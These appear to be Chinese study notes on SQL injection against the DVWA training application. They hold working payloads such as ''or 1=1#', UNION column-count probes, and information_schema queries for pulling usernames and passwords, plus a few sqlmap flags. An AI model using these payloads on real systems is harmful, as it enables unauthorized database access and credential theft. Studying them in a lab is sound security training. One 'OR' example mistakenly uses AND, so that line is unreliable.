手动
查找主人的
自动
扫描注入点
尝试各种组合语法
sql注入
sql语句复习
show databases
使用库 use 库
查看默认库 select database();
查看所有表:show tables;
查看标结构:desc 表
查看创建表sql语句:show create table user\G
查看当前默认用户 :select user()
查询所有字段:select *from users;
查询指定字段:select user,password from users
条件查询:select *from users where user='admin'
逻辑与:select * from users where user='admin' and user_id=6
逻辑或:select * from users where user='admin' and user_id=5
UNION语句:sql注入漏洞
作用:将两条sql语句联合起来查询
语法:sql1 union sql2
两条sql语句查询字段数必须相同
select user,password from mysql.user;
union
select user,password from mysql.users;
使用数字代替列,猜测前面表查询寻找列表数:
第一次猜:select * from dvwa.users union select 1;
第二次猜:select * from dvwa.users union select 1,2;
第三次猜:select * from dvwa.users union select 1,2,3;
第四次猜:select * from dvwa.users union select 1,2,3,4;
特殊库:information_schema
作用:存储mysql中所有库名,表名,列名,是sql数据的字典
应用:sql注入经常从此库中获取需要的库名,表名,字段名
????????tables表:记录mysql表中所有的表
????????columns表:记录mysql库中所有的表和列
select *? from information_schema.TABLES\G
select * from information_schema.COLUMNS\G
关注字段:
TABLE_SCHEMA:数据库名
TABLE_NAME:表名
COLUMN_NAME:列名
show databases 等同于 select DISTINCT TABLE_SCHEMA FROM information_schema.TABLES
show tables等同于select TABLE_NAME FROM information_schema.TABLES where TABLE.SCHEMA='dvwa'
sql注释:注释语句不会被执行,在sql注入中可以将查询条件注释掉
单行注释:
语法1#:select * from users;#查询users表所有信息
语法2--:select * from users; -- 查询users表所有信息
多行注释:
/*多行注释*/
select * from user where username=$user AND password=$pwd
$user=admin# $pwd=123
则从AND开始后面的部分会被注释掉
变为select * from user where username =admin? ?只要username=admin就能返回值
注入流程:收集项目信息(操作系统,数据库类型,web服务器类型)
查找注入点
注入sql语句
获取数据库信息
破解数据库管理员账户密码
开始sql-shell等工具登录并获取数据
直接只输入一个单引号看是否会报错
目的:获取当前表所有信息
输入:'or 1=1#
? ? ? ? 单引号':闭合前面的条件
? ? ? ? #:注释后面单引号
案例:
#第一次猜测
'union select 1#
#第二次猜测:
'union select 1,2#
#结果:直到不报语法错误,确认结果几个字段
获取当前数据库名
' select 1,database()#
' union select table_name,1 from information_schema.tables where TABLE_SCHEMA='dvwa'
' union select COLUMN_NAME,1 from information_schema.columns where TABLE_NAME='users'#
问题:由于后台sql默认查询字段数限制,注入时只能获取相同字段的数据
思路:使用concat函数
select user_id,concat(user,password) from dvwa.users;
select user_id,concat('user:',user,' password:',password) from dvwa.users;
sqlmap 参数
参数:
-u:扫描的目标url
--batch:自动处理提示信息
--cookie:附加cookie参数